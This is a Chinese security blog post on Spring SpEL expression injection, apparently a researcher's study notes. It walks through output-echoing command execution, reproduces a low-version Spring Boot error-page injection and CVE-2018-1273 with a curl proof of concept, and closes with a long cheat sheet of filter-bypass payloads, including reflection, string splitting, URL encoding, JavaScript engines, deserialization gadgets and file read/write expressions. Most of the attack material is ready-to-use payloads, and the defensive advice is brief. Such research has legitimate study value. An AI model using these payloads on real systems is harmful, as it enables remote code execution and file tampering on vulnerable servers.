前言

主要记载一下SpEL表达式的学习和研究笔记,主要是发现了一个不受限制的回显表达式,完善了一下基于nio做文件读写的表达式,直接看poc可以跳转到文章最后。

环境

springboot 2.5.3

springboot 1.2.0.RELEASE

cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273

jdk 1.8u40

基础学习和回显实验

这一章节主要介绍和记录一下SpEL的基础语法,然后探索一下SpEL注入实现命令执行后的回显。

语法基础

由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数,controller代码如下

  1. @Controller
  2. @RequestMapping("test")
  3. public class TestController {
  4. @ResponseBody
  5. @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
  6. public String index(String string) throws IOException {
  7. SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
  8. Expression expression = spelExpressionParser.parseExpression(string);
  9. String out = (String) expression.getValue();
  10. out = out.concat(" get");
  11. return out;
  12. }
  13. }

由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法

  1. 'aaa',表示字符串aaa

  1. T(类名),可以指定使用一个类的类方法
  2. T(java.lang.Runtime).getRuntime().exec("calc")

这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。

  1. new 类名,可以直接new一个对象,再执行其中的方法

可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。

  1. #{…} 用于执行SpEl表达式,并将内容赋值给属性
  2. ${…} 主要用于加载外部属性文件中的值

两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。

  1. @ResponseBody
  2. @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
  3. public String index(String string) throws IOException {
  4. SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
  5. TemplateParserContext templateParserContext = new TemplateParserContext();
  6. Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
  7. Integer out = (Integer) expression.getValue();
  8. return Integer.toString(out);
  9. }

现在可以使用#{}和${}了

然后就是SpEL表达式通过xml配置和注解的使用,这里就不详细记录了,文档很多,我们常用的攻击方法也不会涉及到这一步。

回显实验

前面可以看到,通过SpEL可以执行系统命令,那么如何在一行SpEL语句中获得命令执行的回显呢?看了一下网上大佬们的思路,见http://rui0.cn/archives/1043

  • 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
  1. T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
  • 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
  1. T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

难道jdk原生的类没有办法实现回显的输出吗?我找了,还真有

BufferedReader

直接给payload

  1. new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

原理很简单,就不多介绍了,这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的

Scanner

payload如下

  1. new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,所以这里给一个乱七八糟的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。就是稍微难看了点:)

SpEL漏洞复现

首先时低版本下springboot中的错误处理导致的SpEL漏洞

低版本SpringBoot中IllegalStateException

影响版本:

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

修改pom.xml中的配置

  1. <parent>
  2. <groupId>org.springframework.boot</groupId>
  3. <artifactId>spring-boot-starter-parent</artifactId>
  4. <version>1.2.0.RELEASE</version>
  5. <relativePath/> <!-- lookup parent from repository -->
  6. </parent>

再改一下controller

  1. @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
  2. public String index(String string) throws IOException {
  3. throw new IllegalStateException(string);
  4. }

post传入SpEL表达式:

可见直接解析了数据,再来试试其它payload呢

很奇怪,表达式没什么问题,居然报错了,而且还不是springboot的报错页面。显然需要跟进springboot中的源代码,看看发生了什么。刚刚的输入产生的报错调用栈如下:

  1. org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
  2. at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
  3. at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
  4. at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
  5. at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
  6. at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
  7. at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
  8. at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
  9. at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
  10. at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
  11. at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
  12. at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
  13. at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
  14. at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
  15. at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
  16. at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
  17. at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
  18. at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
  19. at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
  20. at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
  21. 省略下方tomcat调用栈

可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch方法调用到其reder方法,那我们在render方法中打个断点往下调试一下,看看发生了什么

render方法中,会先获取View对象,实际获取到的是spring中自动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其大概意思了,也就是返回报错情况下的试图。跟进一下view.render方法

这里的逻辑也比较简单,继续跟进replacePlaceholders方法

  1. public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
  2. Assert.notNull(value, "'value' must not be null");
  3. return parseStringValue(value, placeholderResolver, new HashSet<String>());
  4. }

代码比较简单就不截图了,可见又调用了paseStringValue方法,继续跟进paseStringValue方法,就会看到重点逻辑了

再看看strVal

  1. <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环,这里意思也很明显,找到了需要替换的位置,然后把具体的值替换到result中。 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,那我们从replace倒推一下就好了。很方便就可以找到具体的值propVal是从palaceholderResovler.resolvePlaceholder中获取的,先跟进一下resolvePlaceholder方法

直接可以看到我们熟悉的SpEL表达式,而从context中获取message,也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法

可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,讲替换后的字符添加到最后的输出中。继续跟进一下convertToReference方法

该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换,这类就不具体看了。回到我们前面的message获取

这里可以看到replace前,再执行了一次parseStringValue方法,而我们传入的参数变成了${new java.lang.ProcessBuilder(&quot;calc&quot;).start()}很明显双引号被编码了,由于parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效。进入resolvePlaceholder方法时,参数就变成了new java.lang.ProcessBuilder(&quot;calc&quot;).start()

由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式无法被执行。到这里就解开了前面那个payload无效的原因。

到这里不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。下面来绕过一下就好了

因为不能出现单双引号,所以借助一些String类的特性,可以传入byte数组,payload如下:

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

如果直接传入#{xx},或者new xxx并不会执行SpEL,原理前面也从源代码中看到了。

防御或修复方案

升级springboot版本即可,在高版本中,处理传入的参数时,不会循环根据${}去找值,也就避免了利用message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁。

CVE-2018-1273 Spring Data Commons RCE

测试环境https://github.com/wearearima/poc-cve-2018-1273

POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

用hackbar打一下这个poc

弹出计算器,从IDEA里面看调用栈如下

  1. org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
  2. at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  3. at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  4. at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  5. at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  6. at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  7. at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  8. at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  9. at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
  10. at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
  11. 下面太长省略了

可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue开始的,那我们找到这里的源代码,看看具体咋回事

可以看到具体操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)触发SpEL注入,也就是说这里先对参数中给的key->value对中的key进行SpEL解析,最终造成SpEL注入。那么这种参数设置或绑定是如何触发的呢?

回溯调用栈可以看到这里是data-commons这个包设定的自动化参数绑定,将参数的key->value传了进去,然后到达前面的SpEL注入攻击触发点。

SpEL变形和bypass的tips

原型

  1. // Runtime
  2. T(java.lang.Runtime).getRuntime().exec("calc")
  3. T(Runtime).getRuntime().exec("calc")
  1. // ProcessBuilder
  2. new java.lang.ProcessBuilder({'calc'}).start()
  3. new ProcessBuilder({'calc'}).start()

bypass

  • 反射调用
  1. T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
  2. // 同上,需要有上下文环境
  3. #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
  4. // 反射调用+字符串拼接,绕过正则过滤
  5. T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  6. // 同上,需要有上下文环境
  7. #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  • 绕过getClass(过滤
  1. ''.getClass 替换为 ''.class.getSuperclass().class
  2. ''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同

  • url编码绕过
  1. // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
  2. // byte数组内容的生成后面有脚本
  3. new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
  4. // char转字符串,再字符串concat
  5. T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
  • JavaScript引擎
  1. T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
  2. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
  • JavaScript+反射
  1. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
  • JavaScript+URL编码
  1. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
  • Jshell
  1. T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

以下tips来自https://landgrey.me/blog/15/

  • 绕过T( 过滤
  1. T%00(new)
  2. 这涉及到SpEL对字符的编码,%00会被直接替换为空
  • 使用Spring工具类反序列化,绕过new关键字
  1. T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
  2. // 可以结合CC链食用
  • 使用Spring工具类执行自定义类的静态代码块
  1. T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

需要在自定义类写静态代码块 static{}

读写文件和回显

  • 无版本限制回显
  1. new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

在这个思路上,可以对new、ProcessBuilder等关键字使用反射绕过

  • nio 读文件
  1. new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
  • nio 写文件
  1. T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)

参考

bypass openrasp SpEL RCE 的过程及思考

SPEL表达式注入-入门篇

由浅入深SpEL表达式注入漏洞

SpEL表达式注入漏洞学习和回显poc研究的更多相关文章

  1. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  2. SpringBoot框架SpEL表达式注入漏洞复现与原理分析

    前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...

  3. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  4. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  5. SpringMVC学习--数据回显

    简介 表单提交失败需要再回到表单页面重新填写,原来提交的数据需要重新在页面上显示. 简单数据类型 对于简单数据类型,如:Integer.String.Float等使用Model将传入的参数再放到req ...

  6. java反序列化提取payload之xray 高级版的shiro回显poc的提取过程

    本文中xray高级版shiro payload来源于雷石安全实验室公众号发布的shiroExploit.jar 感谢雷石安全实验室,雷石安全实验室牛逼 本文主要描述如何从shiro的payload中提 ...

  7. SpEL表达式注入

    一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...

  8. 通过DNSLOG回显验证漏洞

    通过DNSLOG回显验证漏洞 前言 实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSl ...

  9. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

随机推荐

  1. springboot-7-WebSocket

    一.WebSocket简介 为什么要什么websocket:https://blog.csdn.net/qq_42429911/article/details/88601279 用websocket可 ...

  2. PAT乙级:1056 组合数的和 (15分)

    PAT乙级:1056 组合数的和 (15分) 给定 N 个非 0 的个位数字,用其中任意 2 个数字都可以组合成 1 个 2 位的数字.要求所有可能组合出来的 2 位数字的和.例如给定 2.5.8,则 ...

  3. NestJS WebSocket 开始使用

    使用NestJs提供WebSocket服务. 本文会在新建项目的基础上增加2个类 Gateway 实现业务逻辑的地方 WebSocketAdapter WebSocket适配器 新建项目 新建一个项目 ...

  4. Linux中tomcat随服务器自启动的设置方法

    1. cd到rc.local文件所在目录,一般在 /etc/rc.d/目录. 2. 将rc.local下载到本地windows系统中. 3. 编辑rc.local,将要启动的tomcat  /bin/ ...

  5. C++ 定义默认值void locals_index(int reg, int offset = 1);

    看jvm源码的时候怎么也看不懂,来回看了几次了就是关于iload 6 指令的解析 def(Bytecodes::_lload , ubcp|____|____|____, vtos, ltos, ll ...

  6. ifix重用性模块化开发纪实(以污水处理泵站为例)

    在经过多个自动化上位机的开发后,对上位机的重用开发和提高效率,减少重复工作有了一定的积累.故而产生了模块化建设上位机的思路.现从当下项目开始,研究出一套可重复利用的模块化系统. 1.点表整理 从PLC ...

  7. noip模拟29[简单的板子题](虽然我不会)

    \(noip模拟29\;solutions\) 这次考试给我最大的伤害,让我意识到了差距 这场考试可以说是非常的简单,就是简单到,看两眼,打个表就有结果了 但是呢?我考得非常的完蛋,只有30pts 据 ...

  8. 使用html2canvas.js将HTML生成图片

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. Java面向对象04——构造器

    类中的构造器也成为构造方法,是在进行创建对象的时候必须调用的.并且构造器有以下两个特点: 必须和类的名字相同 必须没有返回值,也不能写void  package oop.demon01.demon02 ...

  10. C++面向对象总结——虚指针与虚函数表

    最近在逛B站的时候发现有候捷老师的课程,如获至宝.因此,跟随他的讲解又复习了一遍关于C++的内容,收获也非常的大,对于某些模糊的概念及遗忘的内容又有了更深的认识. 以下内容是关于虚函数表.虚函数指针, ...